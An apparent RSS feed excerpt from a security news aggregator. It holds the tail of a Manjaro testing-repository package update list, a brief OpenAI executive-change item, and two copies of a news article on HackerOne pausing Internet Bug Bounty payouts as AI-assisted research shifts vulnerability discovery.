                       marble-behaim            25.12.3-1            25.12.3-2
                       marble-common            25.12.3-1            25.12.3-2
                         marble-maps            25.12.3-1            25.12.3-2
                           marble-qt            25.12.3-1            25.12.3-2
                              maxima             5.49.0-7             5.49.0-8
                          maxima-ecl             5.49.0-7             5.49.0-8
                          maxima-fas             5.49.0-7             5.49.0-8
                         maxima-sbcl             5.49.0-7             5.49.0-8
                             melange             0.46.1-1             0.47.0-1
                          merkaartor            0.20.0-20            0.20.0-21
                               mgard              1.6.0-5              1.6.0-6
                           mighttpd2             4.0.4-25             4.0.4-28
                            migraphx              7.2.0-1              7.2.0-2
                           miniupnpd              2.3.9-2             2.3.10-1
                                mise           2026.3.8-1          2026.3.17-1
                               mixxx              2.5.4-2              2.5.4-3
                     mkdocs-material              9.7.5-1              9.7.6-1
                                moor             2.11.1-1             2.12.0-1
                                mosh             1.4.0-28             1.4.0-29
                           mosquitto             2.0.22-2              2.1.2-1
                              mumble            1.5.857-5            1.5.857-6
                       mumble-server            1.5.857-5            1.5.857-6
                              nageru              2.3.2-2              2.3.2-3
                                ncnn           20260113-3           20260113-4
                               ndctl                 82-1                 83-1
                             neovide             0.15.2-2             0.16.0-1
                              neovim             0.11.6-1             0.11.7-1
                             netdata              2.9.0-1              2.9.0-2
               netfilter-fullconenat      r73.0cf3b48-503      r73.0cf3b48-504
                    nextcloud-client           2:33.0.0-1           2:33.0.1-1
                             ngspice               45.2-2                 46-1
                              nickel             1.16.0-2             1.16.0-3
                         nickel-docs             1.16.0-2             1.16.0-3
              nickel-language-server             1.16.0-2             1.16.0-3
                         nodejs-yaml              2.3.1-1              2.3.2-1
                   npm-check-updates             19.5.0-1             19.6.0-1
                                nrpe              4.1.1-1              4.1.2-1
                              nsjail               3.4-22               3.4-23
                              ollama             0.18.3-1             0.19.0-1
                         ollama-cuda             0.18.3-1             0.19.0-1
                         ollama-docs             0.18.3-1             0.19.0-1
                         ollama-rocm             0.18.3-1             0.19.0-1
                       ollama-vulkan             0.18.3-1             0.19.0-1
                                onnx           1:1.20.1-1           1:1.20.1-2
                     onnxruntime-cpu             1.24.4-3             1.24.4-4
                    onnxruntime-cuda             1.24.4-3             1.24.4-4
                onnxruntime-opt-cuda             1.24.4-3             1.24.4-4
                onnxruntime-opt-rocm             1.24.4-3             1.24.4-4
                    onnxruntime-rocm             1.24.4-3             1.24.4-4
                   open-policy-agent             1.15.0-1             1.15.1-1
                            opencode              1.3.3-1              1.3.8-1
                              opencv             4.13.0-3             4.13.0-4
                         opencv-cuda             4.13.0-3             4.13.0-4
                      opencv-samples             4.13.0-3             4.13.0-4
                             openrgb             1.0rc2-5             1.0rc2-6
                          pandoc-cli               3.5-18                3.6-2
                     pandoc-crossref           0.3.19-182           0.3.19-188
                         pandoc-plot            1.9.1-256            1.9.1-263
                         pandora_box             0.20.0-1             0.20.1-1
                            paraview             6.0.1-10             6.0.1-11
                            pd-sfizz             1.2.3-12             1.2.3-13
                      percona-server            8.4.8_8-1            8.4.8_8-2
              percona-server-clients            8.4.8_8-1            8.4.8_8-2
             perl-business-isbn-data       20260325.001-1       20260328.001-1
                         perl-libwww               6.81-2               6.82-1
                     perl-xml-parser               2.48-1               2.49-1
                            php-grpc             1.78.1-2             1.80.0-1
                     php-legacy-grpc             1.78.1-2             1.80.0-1
                     platformio-core             6.1.19-1             6.1.19-3
                platformio-core-udev             6.1.19-1             6.1.19-3
                      podman-desktop             1.25.1-1             1.26.2-1
                           postgrest           10.0.0-532             10.1.0-2
                            protobuf               33.1-4               34.1-1
                          protobuf-c              1.5.2-8              1.5.2-9
                      proton-vpn-cli              0.1.7-1              0.1.8-1
                  proton-vpn-gtk-app             4.15.0-1             4.15.1-1
                   protonmail-bridge             3.23.1-1             3.23.1-2
              protonmail-bridge-core             3.23.1-1             3.23.1-2
                        prusa-slicer              2.9.4-7              2.9.4-8
                           pt2-clone               1.85-1               1.87-1
                     python-cairosvg              2.8.2-1              2.9.0-1
                 python-cinderclient              9.7.0-1              9.8.0-1
                   python-cloudflare             2.15.1-1             2.16.0-1
               python-configargparse              1.7.3-1              1.7.4-1
                    python-curl_cffi             0.14.0-6             0.14.0-7
                     python-deepdiff              8.1.1-1              8.2.0-1
                     python-eth-hash              0.7.1-1              0.8.0-1
                        python-faker             40.9.0-1            40.10.0-1
                  python-fastnumbers              5.1.1-2              5.1.1-3
                     python-flasgger            0.9.7.1-7                    -
                python-flask-restful             0.3.10-6                    -
                        python-gdstk             0.9.46-1             0.9.47-1
     python-googleapis-common-protos             1.73.0-1             1.73.1-1
                       python-grpcio             1.78.1-2             1.80.0-1
                 python-grpcio-tools             1.78.1-2             1.80.0-1
                     python-identify             2.6.17-1             2.6.18-2
           python-importlib-metadata              8.7.1-3              9.0.0-1
                  python-json-logger              4.0.0-1              4.1.0-1
                         python-lmdb              2.1.1-1              2.2.0-1
                      python-mockito              2.0.0-1              2.0.1-1
                     python-narwhals             2.18.0-1             2.18.1-1
                        python-numpy              2.4.3-1              2.4.4-1
                         python-onnx           1:1.20.1-1           1:1.20.1-2
              python-onnxruntime-cpu             1.24.4-3             1.24.4-4
             python-onnxruntime-cuda             1.24.4-3             1.24.4-4
         python-onnxruntime-opt-cuda             1.24.4-3             1.24.4-4
         python-onnxruntime-opt-rocm             1.24.4-3             1.24.4-4
             python-onnxruntime-rocm             1.24.4-3             1.24.4-4
                       python-opencv             4.13.0-3             4.13.0-4
                  python-opencv-cuda             4.13.0-3             4.13.0-4
              python-openstackclient              8.0.0-1              8.1.0-1
                 python-openstacksdk              4.4.0-2              4.5.0-1
                       python-orjson             3.11.7-1             3.11.7-2
                    python-oslo-i18n              6.7.1-1              6.7.2-1
                      python-plexapi             4.18.0-1             4.18.1-1
                      python-protego              0.4.0-1              0.5.0-1
                     python-protobuf               33.1-4               34.1-1
          python-proton-vpn-api-core             4.16.0-1             4.17.2-1
                 python-pychromecast             14.0.9-4            14.0.10-1
                python-pydantic-core           3:2.41.5-3           3:2.41.5-4
                       python-pygit2             1.19.1-2             1.19.2-1
                     python-pypandoc             1.16.2-1               1.17-1
                     python-pypubsub             4.0.3-11              4.0.4-1
                       python-pysdl3           0.9.10b0-1           0.9.11b0-1
                      python-pytorch             2.10.0-3             2.10.0-4
                 python-pytorch-cuda             2.10.0-3             2.10.0-4
                  python-pytorch-opt             2.10.0-3             2.10.0-4
             python-pytorch-opt-cuda             2.10.0-3             2.10.0-4
             python-pytorch-opt-rocm             2.10.0-3             2.10.0-4
                 python-pytorch-rocm             2.10.0-3             2.10.0-4
                        python-regex          2026.2.28-1          2026.3.32-1
                     python-requests             2.32.5-4             2.33.1-1
              python-setuptools-rust             1.12.0-3             1.12.1-1
                        python-sybil              6.1.1-2              7.0.0-1
                    python-testtools              2.8.3-2              2.8.4-1
                      python-textual              8.1.1-1              8.2.1-1
                        python-tomli              2.4.0-1              2.4.1-1
                          python-tox             4.32.0-1             4.33.0-1
                       python-triton              3.5.1-3              3.5.1-4
                        python-urwid              3.0.5-1              4.0.0-1
                   python-validators             0.30.0-1             0.31.0-1
                        python-w3lib              2.3.0-2              2.3.1-1
                     python-werkzeug              3.1.5-1              3.1.6-1
                    python-z3-solver             4.15.4-2             4.16.0-1
                                qgis              4.0.0-1              4.0.0-2
                            qt6-grpc             6.11.0-1             6.11.0-2
                          quickshell              0.2.1-5              0.2.1-6
                           qwen-code             0.13.1-1             0.13.2-1
                            r2ghidra              5.9.8-1              6.1.2-1
                             radare2              5.9.8-1              6.1.2-1
                               razor               2.86-3               2.87-2
                                 re2       2:2025.11.05-1       2:2025.11.05-3
                              reaper               7.66-1               7.67-1
                               rizin              0.8.1-2              0.8.2-1
                               rocal              7.2.0-1              7.2.0-2
                          rofi-emoji              4.1.0-2              4.1.0-3
                          rpi-imager              2.0.6-2              2.0.6-3
                          rubberband              4.0.0-1              4.0.0-2
                   rubberband-ladspa              4.0.0-1              4.0.0-2
                      rubberband-lv2              4.0.0-1              4.0.0-2
                     rubberband-vamp              4.0.0-1              4.0.0-2
                    ruby-addressable              2.8.8-1              2.8.9-1
                          ruby-async             2.34.0-1             2.38.1-1
                ruby-async-container             0.31.0-1             0.34.4-1
                     ruby-async-pool             0.11.1-1             0.11.2-1
                  ruby-async-service             0.19.1-1             0.21.0-1
                     ruby-chef-utils            19.2.27-1            19.2.32-1
                ruby-google-protobuf               33.1-4               34.1-1
                           ruby-grpc             1.78.1-1             1.80.0-1
                       ruby-io-event             1.14.2-1             1.14.5-1
                         ruby-loofah             2.25.0-1             2.25.1-1
                            ruby-lsp             0.26.6-1             0.26.9-1
                       ruby-maxitest              6.1.0-1              6.2.0-1
            ruby-net-http-persistent              4.0.7-1              4.0.8-1
                  ruby-protocol-http             0.59.0-1             0.60.0-1
                  ruby-protocol-rack             0.21.1-1             0.22.0-1
                  ruby-public_suffix              7.0.2-1              7.0.5-1
           ruby-rails-html-sanitizer              1.6.2-3              1.7.0-1
            ruby-repl_type_completor             0.1.13-1             0.1.15-1
                         ruby-sequel             5.99.0-1            5.101.0-1
                 ruby-sorbet-runtime          0.6.12942-1          0.6.13068-1
                        ruby-sqlite3              2.9.1-1              2.9.2-1
        ruby-sus-fixtures-async-http             0.12.0-1             0.12.1-1
                       ruby-zeitwerk              2.7.3-1              2.7.5-1
                      rustypaste-cli              0.9.4-1              0.9.5-1
                           rz-cutter              2.4.1-5              2.4.1-6
                                sbcl              2.6.2-1              2.6.3-1
                           scap-dkms             0.20.0-9             0.23.1-1
                             scummvm           2026.1.0-1           2026.2.0-1
                          sentry-cli              3.3.4-1              3.3.5-1
                       sentry-native             0.13.3-1             0.13.4-1
                               sfizz              1.2.3-8             1.2.3-10
                           sfizz-lib              1.2.3-8             1.2.3-10
                           sfizz-lv2             1.2.3-12             1.2.3-13
                    sfizz-standalone              1.2.3-8             1.2.3-10
                            sfizz-ui             1.2.3-12             1.2.3-13
                          sfizz-vst3             1.2.3-12             1.2.3-13
                         shadowsocks    3.0.0a.20180219-9                    -
                          shellcheck            0.11.0-79            0.11.0-81
                            skaffold             2.18.0-1             2.18.2-1
                                skim              4.0.1-1              4.2.0-1
                         slicer-udev              2.9.4-7              2.9.4-8
                            smplayer             25.6.0-1             25.6.0-2
                            soapyuhd             0.4.1-14             0.4.1-15
                      spotify-player             0.22.1-1             0.23.0-1
                           sqlcipher             4.13.0-1             4.14.0-1
                            sqlfluff              4.0.4-2              4.1.0-1
                             sslscan              2.2.1-1              2.2.2-1
                               stack          2.9.3.1-118          2.9.3.1-123
                             step-ca             0.29.0-1             0.30.2-1
                          strongswan              6.0.4-2              6.0.5-1
                             stumpwm              24.11-9             24.11-10
                     stylish-haskell          0.14.5.0-11          0.14.5.0-13
                               swtpm             0.10.1-1             0.10.1-2
                                 syd             3.51.0-1             3.51.2-1
                           syslog-ng             4.11.0-1             4.11.0-2
                      syslog-ng-amqp             4.11.0-1             4.11.0-2
                    syslog-ng-geoip2             4.11.0-1             4.11.0-2
                     syslog-ng-kafka             4.11.0-1             4.11.0-2
                   syslog-ng-mongodb             4.11.0-1             4.11.0-2
                    syslog-ng-python             4.11.0-1             4.11.0-2
                     syslog-ng-redis             4.11.0-1             4.11.0-2
                      syslog-ng-smtp             4.11.0-1             4.11.0-2
                      syslog-ng-snmp             4.11.0-1             4.11.0-2
                       syslog-ng-sql             4.11.0-1             4.11.0-2
                             systing              1.0.0-1              1.0.0-2
                            taffybar             4.1.0-13             4.1.0-18
                      tamarin-prover            1.12.0-10            1.12.0-14
                     taskwarrior-tui             0.26.7-1             0.26.8-1
                     tauon-music-box              9.1.1-1              9.1.2-1
                    telegram-desktop              6.6.4-6              6.6.4-7
                          terragrunt             0.99.4-2             0.99.5-1
                              thunar             4.20.7-1             4.20.8-1
                         thunderbird              149.0-1            149.0.1-1
                 thunderbird-i18n-af              149.0-1            149.0.1-1
                 thunderbird-i18n-ar              149.0-1            149.0.1-1
                thunderbird-i18n-ast              149.0-1            149.0.1-1
                 thunderbird-i18n-be              149.0-1            149.0.1-1
                 thunderbird-i18n-bg              149.0-1            149.0.1-1
                 thunderbird-i18n-br              149.0-1            149.0.1-1
                 thunderbird-i18n-ca              149.0-1            149.0.1-1
                thunderbird-i18n-cak              149.0-1            149.0.1-1
                 thunderbird-i18n-cs              149.0-1            149.0.1-1
                 thunderbird-i18n-cy              149.0-1            149.0.1-1
                 thunderbird-i18n-da              149.0-1            149.0.1-1
                 thunderbird-i18n-de              149.0-1            149.0.1-1
                thunderbird-i18n-dsb              149.0-1            149.0.1-1
                 thunderbird-i18n-el              149.0-1            149.0.1-1
              thunderbird-i18n-en-gb              149.0-1            149.0.1-1
              thunderbird-i18n-en-us              149.0-1            149.0.1-1
              thunderbird-i18n-es-ar              149.0-1            149.0.1-1
              thunderbird-i18n-es-es              149.0-1            149.0.1-1
                 thunderbird-i18n-et              149.0-1            149.0.1-1
                 thunderbird-i18n-eu              149.0-1            149.0.1-1
                 thunderbird-i18n-fi              149.0-1            149.0.1-1
                 thunderbird-i18n-fr              149.0-1            149.0.1-1
              thunderbird-i18n-fy-nl              149.0-1            149.0.1-1
              thunderbird-i18n-ga-ie              149.0-1            149.0.1-1
                 thunderbird-i18n-gd              149.0-1            149.0.1-1
                 thunderbird-i18n-gl              149.0-1            149.0.1-1
                 thunderbird-i18n-he              149.0-1            149.0.1-1
                 thunderbird-i18n-hr              149.0-1            149.0.1-1
                thunderbird-i18n-hsb              149.0-1            149.0.1-1
                 thunderbird-i18n-hu              149.0-1            149.0.1-1
              thunderbird-i18n-hy-am              149.0-1            149.0.1-1
                 thunderbird-i18n-id              149.0-1            149.0.1-1
                 thunderbird-i18n-is              149.0-1            149.0.1-1
                 thunderbird-i18n-it              149.0-1            149.0.1-1
                 thunderbird-i18n-ja              149.0-1            149.0.1-1
                 thunderbird-i18n-ka              149.0-1            149.0.1-1
                thunderbird-i18n-kab              149.0-1            149.0.1-1
                 thunderbird-i18n-kk              149.0-1            149.0.1-1
                 thunderbird-i18n-ko              149.0-1            149.0.1-1
                 thunderbird-i18n-lt              149.0-1            149.0.1-1
                 thunderbird-i18n-ms              149.0-1            149.0.1-1
              thunderbird-i18n-nb-no              149.0-1            149.0.1-1
                 thunderbird-i18n-nl              149.0-1            149.0.1-1
              thunderbird-i18n-nn-no              149.0-1            149.0.1-1
              thunderbird-i18n-pa-in              149.0-1            149.0.1-1
                 thunderbird-i18n-pl              149.0-1            149.0.1-1
              thunderbird-i18n-pt-br              149.0-1            149.0.1-1
              thunderbird-i18n-pt-pt              149.0-1            149.0.1-1
                 thunderbird-i18n-rm              149.0-1            149.0.1-1
                 thunderbird-i18n-ro              149.0-1            149.0.1-1
                 thunderbird-i18n-ru              149.0-1            149.0.1-1
                 thunderbird-i18n-sk              149.0-1            149.0.1-1
                 thunderbird-i18n-sl              149.0-1            149.0.1-1
                 thunderbird-i18n-sq              149.0-1            149.0.1-1
                 thunderbird-i18n-sr              149.0-1            149.0.1-1
              thunderbird-i18n-sv-se              149.0-1            149.0.1-1
                 thunderbird-i18n-th              149.0-1            149.0.1-1
                 thunderbird-i18n-tr              149.0-1            149.0.1-1
                 thunderbird-i18n-uk              149.0-1            149.0.1-1
                 thunderbird-i18n-uz              149.0-1            149.0.1-1
                 thunderbird-i18n-vi              149.0-1            149.0.1-1
              thunderbird-i18n-zh-cn              149.0-1            149.0.1-1
              thunderbird-i18n-zh-tw              149.0-1            149.0.1-1
                         timescaledb             2.26.0-1             2.26.1-1
             timescaledb-old-upgrade             2.26.0-1             2.26.1-1
                       tokio-console             0.1.14-1             0.1.14-2
                             traefik             3.6.11-1             3.6.12-1
                                tree              2.3.1-1              2.3.2-1
                             udiskie              2.6.1-1              2.6.2-1
                         udisks2-qt5              5.0.6-2                    -
              ultramaster-kr106-clap              2.4.4-1            2.4.6.1-1
               ultramaster-kr106-lv2              2.4.4-1            2.4.6.1-1
              ultramaster-kr106-vst3              2.4.4-1            2.4.6.1-1
                               usage             2.18.2-1              3.2.0-1
                            usbguard              1.1.4-4              1.1.4-5
                                vala            0.56.18-5            0.56.19-1
                             vcspull             1.58.0-1             1.58.1-1
                    vhba-module-dkms          20250329-70          20250329-71
                                 vim           9.2.0204-2           9.2.0272-1
                         vim-runtime           9.2.0204-2           9.2.0272-1
                                 vis 0.9.r397.gda84fe70-1 0.9.r399.g1a4fb0fd-1
             vis-syntax-highlighting 0.9.r397.gda84fe70-1 0.9.r399.g1a4fb0fd-1
                                 vlc             3.0.22-1             3.0.22-2
                             vlc-cli             3.0.22-1             3.0.22-2
                     vlc-gui-ncurses             3.0.22-1             3.0.22-2
                          vlc-gui-qt             3.0.22-1             3.0.22-2
                      vlc-gui-skins2             3.0.22-1             3.0.22-2
                   vlc-plugin-a52dec             3.0.22-1             3.0.22-2
                    vlc-plugin-aalib             3.0.22-1             3.0.22-2
                     vlc-plugin-alsa             3.0.22-1             3.0.22-2
                      vlc-plugin-aom             3.0.22-1             3.0.22-2
                  vlc-plugin-archive             3.0.22-1             3.0.22-2
                  vlc-plugin-aribb24             3.0.22-1             3.0.22-2
                  vlc-plugin-aribb25             3.0.22-1             3.0.22-2
                      vlc-plugin-ass             3.0.22-1             3.0.22-2
                    vlc-plugin-avahi             3.0.22-1             3.0.22-2
                   vlc-plugin-bluray             3.0.22-1             3.0.22-2
                     vlc-plugin-caca             3.0.22-1             3.0.22-2
                     vlc-plugin-cddb             3.0.22-1             3.0.22-2
               vlc-plugin-chromecast             3.0.22-1             3.0.22-2
                    vlc-plugin-dav1d             3.0.22-1             3.0.22-2
                     vlc-plugin-dbus             3.0.22-1             3.0.22-2
         vlc-plugin-dbus-screensaver             3.0.22-1             3.0.22-2
                      vlc-plugin-dca             3.0.22-1             3.0.22-2
                      vlc-plugin-dvb             3.0.22-1             3.0.22-2
                      vlc-plugin-dvd             3.0.22-1             3.0.22-2
                    vlc-plugin-faad2             3.0.22-1             3.0.22-2
                   vlc-plugin-ffmpeg             3.0.22-1             3.0.22-2
                 vlc-plugin-firewire             3.0.22-1             3.0.22-2
                     vlc-plugin-flac             3.0.22-1             3.0.22-2
               vlc-plugin-fluidsynth             3.0.22-1             3.0.22-2
                 vlc-plugin-freetype             3.0.22-1             3.0.22-2
                      vlc-plugin-gme             3.0.22-1             3.0.22-2
                   vlc-plugin-gnutls             3.0.22-1             3.0.22-2
                vlc-plugin-gstreamer             3.0.22-1             3.0.22-2
                  vlc-plugin-inflate             3.0.22-1             3.0.22-2
                     vlc-plugin-jack             3.0.22-1             3.0.22-2
                  vlc-plugin-journal             3.0.22-1             3.0.22-2
                     vlc-plugin-jpeg             3.0.22-1             3.0.22-2
                     vlc-plugin-kate             3.0.22-1             3.0.22-2
                  vlc-plugin-kwallet             3.0.22-1             3.0.22-2
                vlc-plugin-libsecret             3.0.22-1             3.0.22-2
                     vlc-plugin-lirc             3.0.22-1             3.0.22-2
                  vlc-plugin-live555             3.0.22-1             3.0.22-2
                      vlc-plugin-lua             3.0.22-1             3.0.22-2
                      vlc-plugin-mad             3.0.22-1             3.0.22-2
                 vlc-plugin-matroska             3.0.22-1             3.0.22-2
                     vlc-plugin-mdns             3.0.22-1             3.0.22-2
                  vlc-plugin-modplug             3.0.22-1             3.0.22-2
                    vlc-plugin-mpeg2             3.0.22-1             3.0.22-2
                   vlc-plugin-mpg123             3.0.22-1             3.0.22-2
                      vlc-plugin-mtp             3.0.22-1             3.0.22-2
                 vlc-plugin-musepack             3.0.22-1             3.0.22-2
                      vlc-plugin-nfs             3.0.22-1             3.0.22-2
                   vlc-plugin-notify             3.0.22-1             3.0.22-2
                      vlc-plugin-ogg             3.0.22-1             3.0.22-2
                     vlc-plugin-opus             3.0.22-1             3.0.22-2
                      vlc-plugin-png             3.0.22-1             3.0.22-2
                    vlc-plugin-pulse             3.0.22-1             3.0.22-2
                vlc-plugin-quicksync             3.0.22-1             3.0.22-2
               vlc-plugin-samplerate             3.0.22-1             3.0.22-2
                      vlc-plugin-sdl             3.0.22-1             3.0.22-2
                     vlc-plugin-sftp             3.0.22-1             3.0.22-2
                    vlc-plugin-shout             3.0.22-1             3.0.22-2
                      vlc-plugin-smb             3.0.22-1             3.0.22-2
                     vlc-plugin-soxr             3.0.22-1             3.0.22-2
                    vlc-plugin-speex             3.0.22-1             3.0.22-2
                      vlc-plugin-srt             3.0.22-1             3.0.22-2
                      vlc-plugin-svg             3.0.22-1             3.0.22-2
                      vlc-plugin-tag             3.0.22-1             3.0.22-2
                   vlc-plugin-theora             3.0.22-1             3.0.22-2
                  vlc-plugin-twolame             3.0.22-1             3.0.22-2
                     vlc-plugin-udev             3.0.22-1             3.0.22-2
                     vlc-plugin-upnp             3.0.22-1             3.0.22-2
                   vlc-plugin-vorbis             3.0.22-1             3.0.22-2
                      vlc-plugin-vpx             3.0.22-1             3.0.22-2
                     vlc-plugin-x264             3.0.22-1             3.0.22-2
                     vlc-plugin-x265             3.0.22-1             3.0.22-2
                      vlc-plugin-xml             3.0.22-1             3.0.22-2
                     vlc-plugin-zvbi             3.0.22-1             3.0.22-2
                     vlc-plugins-all             3.0.22-1             3.0.22-2
                    vlc-plugins-base             3.0.22-1             3.0.22-2
                   vlc-plugins-extra             3.0.22-1             3.0.22-2
            vlc-plugins-video-output             3.0.22-1             3.0.22-2
           vlc-plugins-visualization             3.0.22-1             3.0.22-2
                              vmexec              0.4.0-1              0.5.2-1
                                vpnc  1:0.5.3.r539.r239-1  1:0.5.3.r557.r241-1
                         warzone2100              4.6.3-2              4.6.3-3
                           watchexec              2.5.0-1              2.5.1-1
             webrtc-audio-processing                2.1-5                2.1-6
                         wireplumber             0.5.13-2             0.5.14-1
                    wireplumber-docs             0.5.13-2             0.5.14-1
                       wireshark-cli              4.6.4-1              4.6.4-2
                        wireshark-qt              4.6.4-1              4.6.4-2
              xdg-desktop-portal-dde             1.0.13-7             1.0.14-1
                           xdp-tools              1.6.2-1              1.6.3-1
                           xfdesktop             4.20.1-3             4.20.2-1
                              xmobar             0.50-137             0.50-141
                              xmonad           0.18.0-154           0.18.0-156
                      xmonad-contrib           0.18.1-138           0.18.1-140
                         xmonad-dbus          0.1.0.2-240          0.1.0.2-243
                       xmonad-extras             0.17.3-6             0.17.3-9
                      xorg-setxkbmap              1.3.4-2              1.3.5-1
                                 xrt          1:2.21.75-5          1:2.21.75-6
                          xtrabackup            8.4.0_5-1            8.4.0_5-2
                                  z3             4.15.4-2             4.16.0-1
                             z3-java             4.15.4-2             4.16.0-1
                             zathura         2026.02.22-1         2026.03.27-1
                          zathura-cb         2026.02.03-3         2026.02.03-4
                        zathura-djvu         2026.02.03-3         2026.02.03-4
                   zathura-pdf-mupdf         2026.02.03-5         2026.02.03-6
                 zathura-pdf-poppler         2026.02.03-3         2026.02.03-4
                          zathura-ps         2026.02.03-3         2026.02.03-4
                              zettlr              4.3.0-1              4.3.1-1
                              zypper            1.14.95-1            1.14.95-2
                            ares-emu                    -                147-2
                             diffoci                    -              0.1.8-1
                         govulncheck                    -              1.1.4-1
                       libkysdk-base                    -            3.0.1.0-1
                         librashader                    -             0.10.1-2
                       python-podman                    -              5.8.0-2
                        python-pylxd                    -              2.4.0-2
                        python-ws4py                    -              0.6.0-4
                         udisks2-qt6                    -              6.0.1-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                         lib32-clang             22.1.1-1             22.1.2-1
              lib32-gst-plugins-base             1.28.1-2             1.28.1-3
         lib32-gst-plugins-base-libs             1.28.1-2             1.28.1-3
              lib32-gst-plugins-good             1.28.1-2             1.28.1-3
                     lib32-gstreamer             1.28.1-2             1.28.1-3
                        lib32-libvpx             1.15.2-2             1.16.0-2
                          lib32-llvm           1:22.1.1-1           1:22.1.2-1
                     lib32-llvm-libs           1:22.1.1-1           1:22.1.2-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>5 posts - 5 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI executive shuffle includes new role for COO Brad Lightcap to lead ‘special projects’]]></title>
<description><![CDATA[In addition to Lightcap's new role, OpenAI CMO Kate Rouch will be stepping away from the company to focus on cancer recovery, with a plan to return when her health allows.]]></description>
<link>https://tsecurity.de/de/3406403/it-nachrichten/openai-executive-shuffle-includes-new-role-for-coo-brad-lightcap-to-lead-special-projects/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3406403/it-nachrichten/openai-executive-shuffle-includes-new-role-for-coo-brad-lightcap-to-lead-special-projects/</guid>
<pubDate>Fri, 03 Apr 2026 22:46:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In addition to Lightcap's new role, OpenAI CMO Kate Rouch will be stepping away from the company to focus on cancer recovery, with a plan to return when her health allows.]]></content:encoded>
</item>
<item>
<title><![CDATA[Internet Bug Bounty program hits pause on payouts]]></title>
<description><![CDATA[Researchers who identify and report bugs in open-source software will no longer be rewarded by the Internet Bug Bounty team. HackerOne, which administers the program, has said that it is “pausing submissions” while it contemplates ways in which open source security can be handled more effectively...]]></description>
<link>https://tsecurity.de/de/3406137/ai-nachrichten/internet-bug-bounty-program-hits-pause-on-payouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3406137/ai-nachrichten/internet-bug-bounty-program-hits-pause-on-payouts/</guid>
<pubDate>Fri, 03 Apr 2026 20:02:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Researchers who identify and report bugs in open-source software will no longer be rewarded by the Internet Bug Bounty team. HackerOne, which administers the program, has said that it is “pausing submissions” while it contemplates ways in which open source security can be handled more effectively.</p>



<p>The Internet Bug Bounty program, funded by a number of leading software companies, has been run since 2012 and has awarded more than $1.5m to researchers who have reported bugs. Up to now, 80% of its payouts have been for discoveries of new flaws, and 20% to support remediation efforts. But as artificial intelligence makes it easier to find bugs, that balance needs to change, <a href="https://hackerone.com/ibb?type=team" target="_blank" rel="noreferrer noopener">HackerOne said in a statement</a>.</p>



<p>“AI-assisted research is expanding vulnerability discovery across the ecosystem, increasing both coverage and speed. The balance between findings and remediation capacity in open source has substantively shifted,” said HackerOne.</p>



<p>Among the first programs to be affected is the <a href="https://www.infoworld.com/article/2253639/the-complete-guide-to-nodejs-frameworks.html">Node.js project</a>, a server-side JavaScript platform for web applications known for its extensive ecosystem. While the project team will continue to accept and triage bug reports through HackerOne, without funding from the Internet Bug Bounty program it will no longer pay out rewards, according to <a href="https://nodejs.org/fr/blog/announcements/discontinuing-security-bug-bounties" target="_blank" rel="noreferrer noopener">an announcement on its website</a>.</p>



<p>The Internet Bug Bounty Program is not the only bug-hunting project that has struggled with the onset of AI in vulnerability hunting. In January, <a href="https://www.csoonline.com/article/4120215/ai-junk-causes-curl-to-stop-paying-bug-hunters.html">the Curl program said</a> that it was not taking any more submissions. And just last month, <a href="https://www.infoworld.com/article/4148197/stop-using-ai-to-submit-bug-reports-says-google.html">Google also put a halt to AI-generated submissions</a> provided to its Open Source Software Vulnerability Reward Program.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Internet Bug Bounty program hits pause on payouts]]></title>
<description><![CDATA[Researchers who identify and report bugs in open-source software will no longer be rewarded by the Internet Bug Bounty team. HackerOne, which administers the program, has said that it is “pausing submissions” while it contemplates ways in which open source security can be handled more effectively...]]></description>
<link>https://tsecurity.de/de/3406074/it-security-nachrichten/internet-bug-bounty-program-hits-pause-on-payouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3406074/it-security-nachrichten/internet-bug-bounty-program-hits-pause-on-payouts/</guid>
<pubDate>Fri, 03 Apr 2026 19:37:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Researchers who identify and report bugs in open-source software will no longer be rewarded by the Internet Bug Bounty team. HackerOne, which administers the program, has said that it is “pausing submissions” while it contemplates ways in which open source security can be handled more effectively.</p>



<p>The Internet Bug Bounty program, funded by a number of leading software companies, has been run since 2012 and has awarded more than $1.5m to researchers who have reported bugs. Up to now, 80% of its payouts have been for discoveries of new flaws, and 20% to support remediation efforts. But as artificial intelligence makes it easier to find bugs, that balance needs to change, <a href="https://hackerone.com/ibb?type=team" target="_blank" rel="noreferrer noopener">HackerOne said in a statement</a>.</p>



<p>“AI-assisted research is expanding vulnerability discovery across the ecosystem, increasing both coverage and speed. The balance between findings and remediation capacity in open source has substantively shifted,” said HackerOne.</p>



